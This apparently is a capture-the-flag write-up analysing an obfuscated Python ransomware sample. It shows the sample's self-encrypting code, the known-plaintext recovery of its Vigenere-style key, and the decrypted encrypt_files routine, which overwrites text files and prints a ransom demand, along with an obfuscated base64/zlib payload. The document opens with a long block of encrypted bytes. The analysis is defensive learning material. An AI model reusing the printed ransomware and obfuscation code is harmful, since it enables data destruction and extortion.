__XXX__e__XXX__Ú__XXX____XXX__µ__XXX__ª__XXX__à__XXX__Ô__XXX__Ê__XXX____XXX____XXX____XXX__Ì__XXX__µ__XXX__[__XXX__«__XXX__¨__XXX__Ç__XXX__~__XXX__©__XXX__¦__XXX__Ù__XXX__¾__XXX____XXX__«__XXX__º__XXX__®__XXX__c__XXX__¨__XXX____XXX__ä__XXX__¦__XXX__Ë__XXX__ê__XXX__©__XXX____XXX____XXX__°__XXX__Á__XXX__À__XXX____XXX__Í__XXX____XXX__È__XXX__Â__XXX__Ï__XXX__Ê__XXX____XXX__Ê__XXX__¸__XXX__}__XXX__¥__XXX__Î__XXX__©__XXX__Î__XXX__d__XXX__¡__XXX__Í__XXX__Ü__XXX__É__XXX__§__XXX____XXX____XXX____XXX__À__XXX__²__XXX__r__XXX__ê__XXX__d__XXX__½__XXX__¬__XXX__Ò__XXX__Ü__XXX__»__XXX__Ð__XXX__Ï__XXX____XXX__»__XXX__Ô__XXX__u__XXX__ç__XXX____XXX__ß__XXX____XXX__º__XXX__¤__XXX__ß__XXX__×__XXX____XXX____XXX____XXX____XXX__¢__XXX__Ø__XXX____XXX__æ__XXX__À__XXX__Ê__XXX__à__XXX__Ç__XXX__Ú__XXX__¶__XXX__ª__XXX____XXX__º__XXX__a__XXX__¯__XXX____XXX__Ý__XXX____XXX__Á__XXX__Ý__XXX__¼__XXX__Ð__XXX__¬__XXX____XXX__¬__XXX__Ü__XXX____XXX__Ð__XXX__~__XXX__Ø__XXX__Ä__XXX__Ö__XXX__¤__XXX__Ú__XXX__Ó__XXX__²__XXX__º__XXX__º__XXX__¥__XXX__b__XXX__Ä__XXX__u__XXX__¾__XXX____XXX__©__XXX__ã__XXX__Æ__XXX__É__XXX__®__XXX____XXX____XXX__£__XXX__d__XXX__¿__XXX__{__XXX____XXX__Í__XXX__¼__XXX__¹__XXX__¿__XXX__¹__XXX__Ñ__XXX__ª__XXX__Ã__XXX__à__XXX__e__XXX__Ã__XXX____XXX__»__XXX____XXX__Ê__XXX__È__XXX__´__XXX__¼__XXX____XXX__}__XXX____XXX__Ú__XXX__x__XXX__¿__XXX__£__XXX__Ê__XXX__¬__XXX__´__XXX__Ù__XXX__º__XXX__Ç__XXX__¬__XXX____XXX__¢__XXX__Ô__XXX____XXX__Á__XXX__¢__XXX__¦__XXX__Å__XXX____XXX__¸__XXX____XXX__Ò__XXX____XXX__µ__XXX____XXX__Ý__XXX____XXX__ð__XXX____XXX__¾__XXX____XXX__Ó__XXX__´__XXX__Ü__XXX__È__XXX__¹__XXX____XXX__Ä__XXX__Ô__XXX__h__XXX__Þ__XXX____XXX__¶__XXX__¸__XXX__®__XXX__Ì__XXX____XXX____XXX____XXX__¢__XXX__º__XXX__×__XXX____XXX__ç__XXX__ __XXX__è__XXX__Æ__XXX__½__XXX__ç__XXX__µ__XXX__¼__XXX__Ê__XXX__ __XXX__Í__XXX__Í__XXX____XXX__á__XXX____XXX__¼__XXX__Å__XXX__Ì__XXX__ª__XXX__©__XXX__Æ__XXX____XXX__ª__XXX__Ê__XXX__Â__XXX____XXX__Á__XXX____XXX__Á__XXX__È__XXX__Ý__XXX____XXX__Ù__XXX____XXX__²__XXX__£__XXX____XXX__°__XXX__}__XXX__¢__XXX____XXX__Ê__XXX____XXX__ __XXX__å__XXX__°__XXX__³__XXX__¾__XXX__¹__XXX____XXX__æ__XXX____XXX__æ__XXX__¤__XXX__ª__XXX__~__XXX__Ì__XXX__Ì__XXX__²__XXX__´__XXX__Ö__XXX__¸__XXX__Ã__XXX__×__XXX____XXX__ç__XXX__¦__XXX__Õ__XXX__¦__XXX____XXX__Ù__XXX__¨__XXX__Ô__XXX__±__XXX____XXX____XXX____XXX__i__XXX__Î__XXX____XXX__Ó__XXX__Ë__XXX__¾__XXX__ê__XXX____XXX____XXX__´__XXX____XXX__ª__XXX__ä__XXX__v__XXX__ç__XXX__g__XXX__¢__XXX__¥__XXX__Á__XXX__¤__XXX__¿__XXX____XXX____XXX__´__XXX__£__XXX__¥__XXX__w__XXX____XXX__¤__XXX__ª__XXX__Ê__XXX__Ï__XXX__æ__XXX__Û__XXX__¶__XXX__²__XXX____XXX____XXX__ä__XXX__c__XXX__¢__XXX__|__XXX__Ó__XXX__É__XXX__®__XXX__¼__XXX__²__XXX__¦__XXX__²__XXX__t__XXX__Á__XXX__å__XXX____XXX__È__XXX__^__XXX__Ø__XXX__È__XXX__á__XXX__Ç__XXX__Ñ__XXX__Û__XXX__©__XXX____XXX____XXX__Þ__XXX____XXX__¿__XXX__¬__XXX__§__XXX____XXX__¸__XXX__Ù__XXX__¹__XXX____XXX__Æ__XXX__¢__XXX____XXX__×__XXX____XXX__Ê__XXX__f__XXX__´__XXX__¢__XXX__Ì__XXX__·__XXX__µ__XXX__È__XXX____XXX__°__XXX____XXX__Ã__XXX____XXX__§__XXX__f__XXX__É__XXX____XXX__ª__XXX__á__XXX__¸__XXX__®__XXX__Ç__XXX__}__XXX____XXX__æ__XXX__}__XXX__ë__XXX____XXX__½__XXX____XXX__¡__XXX__½__XXX__Ú__XXX____XXX__Ñ__XXX____XXX____XXX____XXX__|__XXX__Ü__XXX____XXX__ã__XXX__Ä__XXX__¼__XXX__¶__XXX__Ù__XXX__È__XXX__Æ__XXX____XXX____XXX__ __XXX__b__XXX__Ü__XXX____XXX__¢__XXX__¡__XXX__Ú__XXX__Ú__XXX__µ__XXX__ß__XXX__¬__XXX__¶__XXX____XXX__¹__XXX____XXX__ï__XXX__§__XXX__¥__XXX____XXX__¶__XXX__Ê__XXX__Ô__XXX__´__XXX__º__XXX__Á__XXX____XXX____XXX__h__XXX__½__XXX__~__XXX__ß__XXX__´__XXX__®__XXX__Ü__XXX__Ö__XXX__¨__XXX__Ñ__XXX__¡__XXX____XXX__¿__XXX____XXX__á__XXX__¬__XXX__×__XXX__ª__XXX__Ô__XXX__Ã__XXX____XXX__»__XXX__Ü__XXX__½__XXX____XXX__Î__XXX____XXX__í__XXX____XXX__º__XXX____XXX__Ü__XXX__¹__XXX__Î__XXX__¿__XXX__¾__XXX__²__XXX____XXX__Þ__XXX__c__XXX__Ø__XXX__~__XXX__«__XXX__´__XXX____XXX__Â__XXX__ß__XXX__É__XXX____XXX__²__XXX____XXX__Ø__XXX__b__XXX__à__XXX__h__XXX__È__XXX__Ê__XXX__Ú__XXX__Å__XXX__©__XXX__Ç__XXX__¥__XXX____XXX____XXX__»__XXX__¡__XXX__¿__XXX____XXX__é__XXX____XXX__Â__XXX__Æ__XXX__Ë__XXX__±__XXX__Ø__XXX____XXX__¾__XXX__Å__XXX__i__XXX__Ë__XXX__f__XXX__¿__XXX__©__XXX__Ö__XXX____XXX__¨__XXX__Ö__XXX__Å__XXX__{__XXX____XXX__Å__XXX____XXX__ñ__XXX____XXX__Ê__XXX__Å__XXX__½__XXX__Ì__XXX__Ë__XXX__Ö__XXX__Í__XXX__¸__XXX__¹__XXX__à__XXX__c__XXX__à__XXX____XXX__£__XXX____XXX__Ñ__XXX__è__XXX__Ñ__XXX__º__XXX____XXX__½__XXX__§__XXX__¯__XXX__z__XXX__Ë__XXX__g__XXX__·__XXX____XXX____XXX__©__XXX__Ü__XXX__É__XXX__Ù__XXX__¡__XXX__¬__XXX__Ô__XXX__`__XXX__ã__XXX____XXX__µ__XXX____XXX__¼__XXX__Ã__XXX__®__XXX__Õ__XXX__µ__XXX____XXX__¥__XXX__Ü__XXX__y__XXX__Í__XXX__y__XXX__Õ__XXX__Ã__XXX__Ï__XXX__Õ__XXX__«__XXX__»__XXX__²__XXX__¬__XXX__À__XXX__Ò__XXX____XXX__¾__XXX__¥__XXX__ë__XXX____XXX__»__XXX__Ë__XXX__¼__XXX__ª__XXX__¬__XXX__y__XXX____XXX__º__XXX__z__XXX__æ__XXX____XXX__¾__XXX____XXX__Ë__XXX__é__XXX____XXX__¾__XXX__È__XXX__y__XXX__¥__XXX__Ö__XXX__{__XXX__Ù__XXX____XXX__¹__XXX____XXX__á__XXX__Ô__XXX__±__XXX__¹__XXX____XXX__«__XXX__Ä__XXX__¥__XXX__d__XXX__ì__XXX__u__XXX__Ä__XXX__¦__XXX____XXX__á__XXX__¶__XXX__Î__XXX__Î__XXX__¾__XXX____XXX__À__XXX__¤__XXX__¦__XXX____XXX__Ä__XXX____XXX__À__XXX__â__XXX__®__XXX__Í__XXX____XXX__¸__XXX____XXX____XXX__d__XXX__ð__XXX__w__XXX__¤__XXX__Í__XXX__®__XXX__ê__XXX__Î__XXX__ª__XXX__Õ__XXX__Á__XXX__¥__XXX__¶__XXX_____XXX__ß__XXX__¨__XXX__Þ__XXX__¨__XXX__µ__XXX__Ê__XXX____XXX____XXX__Æ__XXX____XXX____XXX__¿__XXX____XXX__Þ__XXX__¤__XXX__Õ__XXX__¾__XXX__¾__XXX__Ô__XXX__¹__XXX__°__XXX__Û__XXX__µ__XXX____XXX__Ò__XXX____XXX__Ñ__XXX__ª__XXX__Ê__XXX__Ë__XXX__°__XXX__å__XXX__³__XXX__°__XXX__±__XXX__°__XXX____XXX____XXX__¤__XXX__¾__XXX____XXX__Ý__XXX__È__XXX__¿__XXX__¦__XXX__Î__XXX__½__XXX__Ò__XXX__¿__XXX____XXX__ã__XXX__y__XXX__ì__XXX____XXX__Ë__XXX__~__XXX__ß__XXX__É__XXX__Ø__XXX__¬__XXX__Î__XXX__|__XXX__¢__XXX__Ñ__XXX____XXX__¾__XXX__¥__XXX__Þ__XXX____XXX__ __XXX__×__XXX__Ï__XXX____XXX__Þ__XXX____XXX__¬__XXX__Í__XXX__£__XXX__ª__XXX____XXX__µ__XXX__Ì__XXX__¬__XXX__ß__XXX____XXX__ª__XXX__Ì__XXX____XXX__¥__XXX__¯__XXX__t__XXX__Ã__XXX__i__XXX__Ã__XXX__Ä__XXX__«__XXX____XXX__³__XXX__Ì__XXX__Õ__XXX__À__XXX__ª__XXX__Ù__XXX__a__XXX__â__XXX__{__XXX__Û__XXX____XXX__©__XXX__«__XXX__Í__XXX__±__XXX__®__XXX____XXX__¸__XXX__Ø__XXX__y__XXX__Ü__XXX____XXX__Â__XXX__§__XXX__Ú__XXX__·__XXX____XXX____XXX____XXX__®__XXX__¨__XXX__æ__XXX____XXX__å__XXX____XXX__Ü__XXX__¡__XXX__®__XXX__ç__XXX__Ú__XXX____XXX__Ô__XXX__µ__XXX__¹__XXX__½__XXX__z__XXX__ª__XXX__ª__XXX__¼__XXX__¼__XXX__Õ__XXX__×__XXX__°__XXX__¿__XXX__±__XXX__À__XXX__¾__XXX__¿__XXX____XXX__Ê__XXX____XXX__Ì__XXX__Ç__XXX__¬__XXX__æ__XXX__Ñ__XXX__¦__XXX____XXX__Ã__XXX____XXX__´__XXX____XXX__Í__XXX__k__XXX__µ__XXX____XXX____XXX__§__XXX__Í__XXX__«__XXX__Æ__XXX__¾__XXX__·__XXX__Â__XXX__a__XXX__ð__XXX__~__XXX__×__XXX____XXX__Ó__XXX____XXX____XXX__×__XXX__Ù__XXX__µ__XXX____XXX__¹__XXX__a__XXX__Á__XXX____XXX__Þ__XXX__½__XXX____XXX__ß__XXX__×__XXX__»__XXX__Ø__XXX____XXX____XXX__¾__XXX__[__XXX__¬__XXX____XXX__¾__XXX__Ç__XXX__±__XXX__ç__XXX__È__XXX__¬__XXX____XXX__¶__XXX____XXX__²__XXX__q__XXX__ð__XXX__u__XXX__À__XXX____XXX__Â__XXX__½__XXX__¿__XXX__¦__XXX__½__XXX____XXX____XXX__Ù__XXX__y__XXX__Ã__XXX__e__XXX__Ã__XXX__£__XXX__¯__XXX__Þ__XXX__¶__XXX__Ü__XXX__Ó__XXX____XXX__¥__XXX__Î__XXX__£__XXX__®__XXX__©__XXX__Ç__XXX__Ç__XXX____XXX__¿__XXX____XXX__Ô__XXX__Ý__XXX__¾__XXX____XXX__Å__XXX__¤__XXX__ª__XXX__ __XXX__Ü__XXX____XXX__á__XXX__ª__XXX__×__XXX__Ü__XXX__¶__XXX____XXX____XXX__»__XXX__v__XXX__Í__XXX____XXX__©__XXX__£__XXX__µ__XXX__À__XXX__¯__XXX____XXX__Ò__XXX__z__XXX__¹__XXX__¶__XXX__a__XXX__¸__XXX__|__XXX__¤__XXX__È__XXX____XXX__Å__XXX__°__XXX__»__XXX__Ú__XXX__¿__XXX__¡__XXX__á__XXX__t__XXX__½__XXX__d__XXX__Ó__XXX__¶__XXX__â__XXX__ä__XXX__°__XXX__Û__XXX__¬__XXX__Á__XXX__©__XXX____XXX____XXX__Ê__XXX__ª__XXX__«__XXX__Å__XXX__¸__XXX__´__XXX__¸__XXX____XXX__É__XXX____XXX__ __XXX__²__XXX____XXX__å__XXX__b__XXX__¢__XXX__Ì__XXX____XXX__ç__XXX____XXX__µ__XXX__¨__XXX__±__XXX____XXX__Ý__XXX____XXX__á__XXX__j__XXX__·__XXX____XXX__¸__XXX__Õ__XXX__Ê__XXX__®__XXX____XXX____XXX__¥__XXX__»__XXX__g__XXX__¢__XXX____XXX__é__XXX__ __XXX____XXX__æ__XXX__°__XXX__«__XXX__×__XXX__Â__XXX__Ç__XXX__´__XXX____XXX__¨__XXX____XXX__¨__XXX__Â__XXX__×__XXX__Ý__XXX____XXX__°__XXX__Ó__XXX__ __XXX__¤__XXX____XXX__r__XXX__Ù__XXX__|__XXX__¨__XXX__¤__XXX__Ø__XXX__¢__XXX__´__XXX____XXX__Ó__XXX____XXX__Ê__XXX____XXX__c__XXX__Ê__XXX____XXX__ê__XXX__¿__XXX__©__XXX__¾__XXX__´__XXX__Û__XXX__Ý__XXX__Â__XXX____XXX__½__XXX__¥__XXX__î__XXX__}__XXX__â__XXX__»__XXX__ß__XXX__é__XXX__©__XXX____XXX____XXX__«__XXX____XXX__²__XXX__q__XXX__ë__XXX__i__XXX__¢__XXX__µ__XXX__Ù__XXX__Õ__XXX__·__XXX__Ç__XXX__±__XXX__{__XXX____XXX__ä__XXX__t__XXX__î__XXX____XXX__â__XXX____XXX__Ë__XXX__É__XXX____XXX____XXX____XXX____XXX____XXX__Õ__XXX__{__XXX__º__XXX____XXX__ê__XXX____XXX____XXX__Æ__XXX__Ù__XXX__¹__XXX__Ý__XXX____XXX__º__XXX____XXX____XXX__Å__XXX____XXX__ã__XXX__¬__XXX__¿__XXX__Ã__XXX____XXX__Ø__XXX__°__XXX__¼__XXX__É__XXX__Æ__XXX__©__XXX__¹__XXX__z__XXX__Ó__XXX__¤__XXX__Ï__XXX__Ü__XXX____XXX____XXX__Ð__XXX____XXX__É__XXX__Ò__XXX__©__XXX__¸__XXX____XXX__Ú__XXX__Â__XXX__·__XXX__º__XXX__½__XXX__¶__XXX__®__XXX____XXX__ª__XXX__±__XXX____XXX__è__XXX____XXX__º__XXX____XXX__Ø__XXX__Ó__XXX____XXX__Ò__XXX__Ü__XXX____XXX__¤__XXX__¢__XXX__~__XXX__¹__XXX____XXX__¼__XXX____XXX__Ù__XXX__Ë__XXX__®__XXX____XXX__µ__XXX__y__XXX__Ê__XXX__Î__XXX____XXX__ë__XXX__^__XXX__¶__XXX__Å__XXX__«__XXX__×__XXX____XXX__¾__XXX__«__XXX__º__XXX__¿__XXX__»__XXX____XXX__Æ__XXX__y__XXX__Ç__XXX__ __XXX__½__XXX__¥__XXX__×__XXX____XXX__Þ__XXX____XXX____XXX__Ù__XXX__¡__XXX__Þ__XXX__}__XXX__à__XXX__¿__XXX__®__XXX__¸__XXX____XXX__·__XXX____XXX____XXX__Â__XXX__¶__XXX__u__XXX__Þ__XXX__u__XXX__æ__XXX__É__XXX__Ú__XXX__Ø__XXX____XXX____XXX__Þ__XXX__°__XXX____XXX__®__XXX____XXX__Ç__XXX__f__XXX__½__XXX____XXX__Á__XXX__¹__XXX__¯__XXX__©__XXX__Ç__XXX__£__XXX____XXX__æ__XXX__¨__XXX__é__XXX____XXX__Ê__XXX__¨__XXX__¹__XXX__Ó__XXX__Ü__XXX____XXX____XXX__}__XXX__«__XXX__Ð__XXX____XXX__è__XXX____XXX__£__XXX__Ë__XXX__á__XXX__à__XXX__·__XXX____XXX__Í__XXX__·__XXX__À__XXX__à__XXX__w__XXX__¹__XXX__~__XXX__¸__XXX____XXX__¹__XXX__ª__XXX__©__XXX__¯__XXX__µ__XXX__²__XXX__Í__XXX__Å__XXX__ª__XXX__Þ__XXX__¨__XXX__ä__XXX__µ__XXX____XXX__£__XXX____XXX____XXX____XXX__¡__XXX____XXX____XXX__h__XXX__¢__XXX__l__XXX__¡__XXX____XXX__â__XXX__ì__XXX____XXX__½__XXX__Ñ__XXX____XXX__¸__XXX____XXX__~__XXX__Ç__XXX__c__XXX__¡__XXX__¢__XXX__µ__XXX__È__XXX____XXX__ª__XXX__©__XXX____XXX____XXX____XXX__¦__XXX__Ï__XXX__§__XXX__ì__XXX__È__XXX__®__XXX__ß__XXX__¹__XXX__³__XXX__È__XXX____XXX__¡__XXX__ __XXX__g__XXX__Ì__XXX__t__XXX__ç__XXX____XXX__½__XXX__£__XXX__×__XXX__Ó__XXX____XXX____XXX__¼__XXX__¢__XXX__¡__XXX__ê__XXX____XXX__Å__XXX__«__XXX____XXX__Þ__XXX__»__XXX__Ü__XXX__®__XXX__®__XXX__{__XXX____XXX__Y__XXX____XXX__=
At first glance, static analysis is made more challenging by the code’s use of obfuscated function names, such as ksii343
, ksii342
, and other long, cryptic, and semantically meaningless variants. Furthermore, it introduces irrelevant code by using a large number of nearly identical functions such as ksii34a
, ksii34b
. that carry out redundant tasks only to produce logical and visual noise.
def XXXXXXXXXJSPRRRJSDSAUDJSNSNSWI(): oiiiiiiiiiujauqobsolute2311 = os.path.abspath(__file__) with open(oiiiiiiiiiujauqobsolute2311, "r", encoding="utf-8") as f: script_data = f.read() IIIllIIlllIIIIlIII = base64.b64decode(lllllllllllllll('.' + '@#=@' + '#=g#Cm9' + 'F|d#-wl#nc_j' + '#5W.Z')[::-1].replace('_', '').replace('.', '').replace('|', '').replace('-', '').replace('#', '').replace('@', '')).decode('utf-8').strip() i = script_data.index(IIIllIIlllIIIIlIII) juyt = script_data[i:] liiencrypt = dshyXXXlsoe(juyt, sowiaaaandowTgsRETfs, llllllllllllllki=env) new_script_data = script_data[:i] + liiencrypt with open(oiiiiiiiiiujauqobsolute2311, "w", encoding="utf-8") as f: f.write(new_script_data) subprocess.run(["rm", "-f", "env"])
and we can see also in the function XXXXXXXXXJSPRRRJSDSAUDJSNSWI()
, string obfuscation adds an additional layer of confusion by encoding strings in base64 and dynamically reconstructing them through complex concatenation and reverse operations in order to mask the payload or command being executed.
for example i used replace
to obfuscate more the base64 payload and stores it in IIIllIIlllIIIIlIII
. so lets start our hunting from here since all the functions seems identical.
- Identifying IOCs
oiiiiiiiiiujauqobsolute2311 = os.path.abspath(__file__) with open(oiiiiiiiiiujauqobsolute2311, "r", encoding="utf-8") as f: script_data = f.read()
The function seems to be opening this python malware itself and load it in script_data
variable. The line containing the first clue is a splited base64 string in the IIIllIIlllIIIIlIII
variable, if we decode it we find that its hiding encrypt_f
string.
Emmm the encrypt_f
might indicates that this is a ransomeware or some kind of encrypted c2 communications? lets continue
i = script_data.index(IIIllIIlllIIIIlIII) juyt = script_data[i:]
this locates the index of where encrypt_f
starts in the script_data
variable. and then it sets a juyt
variable that contains a sliced data of the actual malware. and this seems to be clear now, the malware tries to shredd it self (or just a part of since this is a CTF challenge).
after it uses an encryption function on the sliced part liiencrypt = dshyXXXlsoe(juyt, sowiaaaandowTgsRETfs, llllllllllllllki=env)
def dshyXXXlsoe(text, llkjhhjkkkkkkLONG, llllllllllllllki): lkjhs = len(llkjhhjkkkkkkLONG) assert(lkjhs== int(((0x23^0x2)/ 3)+2)) eeeeeeeeeeeeeeeeeeeeeeXXrted = [] for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133)
the encryption function seems to performs a key-based character transformation on text using a 13-character key
, seems like vigenere cipher, adding each character’s ASCII value and wrapping via modulo 256.
and after it replace the data starting from encrypt_f
in the python malware itself with the encrypted data but it uses some sort of separator (the env parameter llllllllllllllki=env
), and as we see the separator is likely __XXX__
(take a look at the malware again).
Now we break how the malware shredd its last part, how recover then??
Since its using vigenere, and we have the cipher and part of the plaintext which is encrypt_f
, we can recover the key and then recover the shredded part. How?? by simply reverse the encryption system, but the key is 13-char long, but the encrypt_f
is only 9-char long, so we might need a shifty guess here, the encrypt_f
might be the function name of encrypt_files
isn’t, so lets check if it works.
We store the encrypted data in encfile.txt
.
with open("encfile.txt","r") as f: file=f.read()[:-1] file=file.split("__XXX__") key_partial="" known="encrypt_files" for i in range(13): key_partial+=chr(ord(file[i])-ord(known[i])) print(key_partial)
So we got it, the key is ShreedITl0w3r
. Decrypted the part with this jey gives us :
def encrypt_files(lsoeiuw): for file in glob.glob(f"{lsoeiuw}/*.txt"): with open(file, "r", encoding="utf-8") as f: data = f.read() ldoeigtt = ksii344(data, ouiiiiiiiiipppppppppppppppp) with open(file, "w", encoding="utf-8") as f: f.write(ldoeigtt) print(f"You are hacked , To recover your fls, show me your kindness in my wallet 0x6972fab392e. DELAI : 5 Days.") def ksii34e(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34f(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34s(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34k(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));print((_)(b'iwnFq9z++//PyXJuhgcjGvfnmktov9d7Ui3100XGc0oyLDs3D61YyP+zZc9HJNtr2ug0IcRX1BqDEcS1batytY7sa9ZopQzi0n/XnrKkphOVwdWvoNQqbwRo2pewd8GyX6oIPTxxz3Ee3Z8FP996KYqccFD4O5ey9vQjMHw387vUR72h/uFjmHjcO//T22ATmnu99StgJRz9xvMZwFmifBpM9htMyXRLeDWiF21KeguIAk77CV4KtPdCcQobNo3Ozn4HmiOhCapxl0oxtvaMaLawpV6P04oGKZoL0sLEICxAwIoQeQDoDAj2QF4DVQpbftCaUatzJ3//U6dwYc6z/Vk2Zkosl1DZD8pwRX6ruXwTpIhrz929YFFhmqZRIPqVOQSVPU2HocvJZfyPGRPTz+11qfqvUTIfc3dCuRayfmM2ZEyFFXiKnvrXl/1mBf+hRXd6yypRDZbRvki+ANhZVJc1sW/Av8jCqcmzu67Lp1gecCoEAjeZce8faA3OGU91qvhWgXWeCUi2qZ2IExhP9+nPBWHCLm0zKFfG4ZFJba8fZfxX+gHk/8A+K67ehoQ/abOEI6EnU6JcclfnUYtQDld5uFYsrFXR1QfpmEDYsoqwkfJeFnColwWDLP/PNczy2XU/7RlT51lsoLTxW82pnNHzlNgSaGveK2ePDmwG5j7PWjWp95npagZJQ4oL+kCxzoEVGb8mT6332flsJ19KqVdUuDc+AMu+auXpidLkDTGwq/aGwowBGxrtOBRjHZ+nglF4XSYVkAhpSWnzAVNFkYN9jV4eqDCSWFc7H+QcxzSiKvp44PpQNbNbpnSFGNdSDKoamvKcb3I9B/BQ8eHDJKqqH00OohNeU67rL1yjMZ3VAGWXMQqfQiJ02pum7d5nRoY1TmhS6Q/0Ce4+JrpwJtLd06TPd49bKDwTHlIsJW7ZeR4E0VvdDXMMxe2GZNPSXNA5AS6B7VNK4UfpX2yKQUGMs4H0b41tM4KjONEZ0OeE9CiOWNofRW/WGZ5zZGvP6UH+xtcgsysTvvK3MC8NW1Em00FnWilTI2JJMKtCNq63BMQ9kx5iprtAC+0AS0+sLjeaIbIu+BqxdWqWXKpgdyB6h6L+Gt48qx37vsQEY+dkhg8e8XKpsHONO4MDG45c7Dvm7JF2KcH7c34a5R7mlKtqDWP9QGibyHb3/hiaGXb5RPzPKYz1P+3AbDoGEbSzULwqW0FYw9O4K9ysLKz/5emBALQEjgSeD8j/G25B3ljvOGRNW4YoL84uuFRDPigeFkJ6a+YbzQvLH6H0JQ2XLmuqBArztEj5/KJyawwGGoqCr1QWs606cKZU5LnYtluE2A0wK7LpIEKBMFbVQHIIEWryNNttgI1h0YfqTjxadyoCezgC3Rhvs6zafPhVQ4lTpSWrf53NzHfMJVEg6xkKkukdfdRxStQTphATJgNDX/ljCBv6NKq5BPXDGSw3VrWbA/8GGJ5X5WTVGUgJDY0U6YPGvKEsnh6eBqiNmiRugY66a7unQ8tQ4TQL4S2mYckkws3ETFYpHD/nHT6Jv5VBGsdiP+6zwTbBUHeaL9RsXOvkeHmTX8xpNDutdi/J+5JVMVHhqTr05ZUpiCgTwzn8sIueoFgTq3W7eJJajUwI3JoDXUM7Q9ie/5rVoBzYYAkV8RG2b2Hm7mZ95mOTc+57OFgw2qiBbDAEqFAMiJJcxwhFTYTPDx2Vpc0ORI/CQbGA+voq4no8V9dmWzIZ5YTuXobFIEoBDazrdg5quz8Nz65Ko+vq4Dz+1ncqUBEVXDEr7zMwzUiy3tXJoqxwnQIyvSYS89McpArtW0YWkS99TQzglnyoEv5+9yNsmkky7z6zWp1CZmVy3OeiLr4RguwXRLgXmijRwKjGKydCVa6R1XvT4/3HkQgUZcGRLVBd0W+2ligftepyI7uR9TruLQoqXM/JFRVMeZX6/pBl96ZnGAY7b9rs213SqoMqNb18CSWCz5nnb7S7H+/MB8mrlG8KTmqILClyPLT2h46lS2bqmW8Xe6i4hA/So7/Rch9Nc2Kdb5g+fJM87eFms43UmdwnFN+dbPoXpvVpPOQzHoR2P7hS+3IwGJ5VSZ8GMn77AKiBhpchDYpUwjH6JYjzjdmGGO/FILW1TXHxzI3LS6olHphDcRY9uaeSHThYbj86D4Am7iWth9keuio/QCDzo+ldO7PZ3YVVpRIkxKJoN7HHJbSNb7hVIC/21/5SRTwvvyaqggmRPazosRDzMt9lZUdVK6YBjy9/JgbUlxilAp6IG2eVPezqoRx5jkp1hFFwrhviB0nDWp6OcZjMEarNQjvBNZEfFfmwfisd2bnGsN+ebLHWMXaJma6lMHe0Y3D07WYWnJhCkf4P5STTRCl4EKuTLd+F2bOOY4H59G0UD9oIHoE11oVWDXJnE6/bKKHtmm8kSh7vae/QOmk9vuEEXD5V93I82B+Z09MBmoRNg5zhRKaGZWt0S0yCwVz4goH8lKF+eXENoHYdW6PUZud7V1i61j+RWu7jGHm99jGz+CpjXEukJ3IuhfeVFAMbGkREm/hdnOlXMEXvRvJGsr66RD295rKsEpP6pTeDG1kbf2JVHYCQ3La28BtfbepCmXRGF8vkwB7by7Ut/kWzvn/4ve71bVj6UphAki4bYvrfiYKLEf7FGNb7eCpd07K5pbHsAYO3iq3Pwzdo3CoaEQ+Z+5ybZ5FQuFlTOkC/Crrkg1MKQOvLBq/zcsOkzNue0wfs69NL1qsQEDXifckpCncrQltPVy64Er4j8DdAIRrEX9TOWb7XfwOQrrzf1ZlNhizLYR7pZ573T04Jbs+kHcLLscj607BseI/2ygsJKrdC0iRf+A1kKGH2MihZTYja6OUL9vStrha/BsDx5A5L0Mbdevj77jBHCj7HcTZ3E8On8Ryw6SstrQavu60BQtqF9/o2yAWyenLT03q/mY4W5C0blsJj70oXL8NvctLArGxjfXMaZZwXs23k7Kdw8mMwyPkB67Lk3vSp+ytq8rsgIs0j1RSmcHNY2YYuQgXWzrXLlKgOjuE0UfH+kfWwFYPejOz/lN7yxQNkUZ93nF6FXV959M8P38gpepM4Y7nydw8R9icy9VnbuI3UGWCGRw0SZ1Ci72njn2aV5vQ5T+sXpa2A+za8BzF8NDkoy23BdZSyKoq6RyZ2DcaGxe3goZ5r5AHUp1nWjc6I+Pq+vhq+YbArqsRBiwnXo5aJIxjwfVk3d3jXpbEY2mDiZCNyHYd2biX++O68cQyzuBiPE3dPVrsXrntfZ1ZugqdEllwzfdVJZyZe3vvgwoJKNko9De/Z9Rjvv+nbzNaRWBJV5rwU4vKwWluWDqJaAr68WPgn7fqZbcPSwLKWLmD7jSaBjMkc6IIFNwpvU5ZRDCg6J0veK7M+cbH9wLPJfsNp/5z8rjQ17rCBELz5cYw4jJwAb9pwm2cKDU9lp9CVB5/2mjAasYHvXvhdsGm4KbUFDjvws8oo7naQHpvlYEdpMnThEmmQ6eKZhVVjBN0iu/JHrqCGVXjzaer4lPz6ZUb0nSCAxL/piOxwCmymA5Hed/r34VinwrOjv4jWt1Rn8iODoSgQUeFhXGsnqmdrFfMQDPGJBPsrfZbTym+W+4Nxo5VETCHHok6Z4fiaH85oP+GN+qRv9se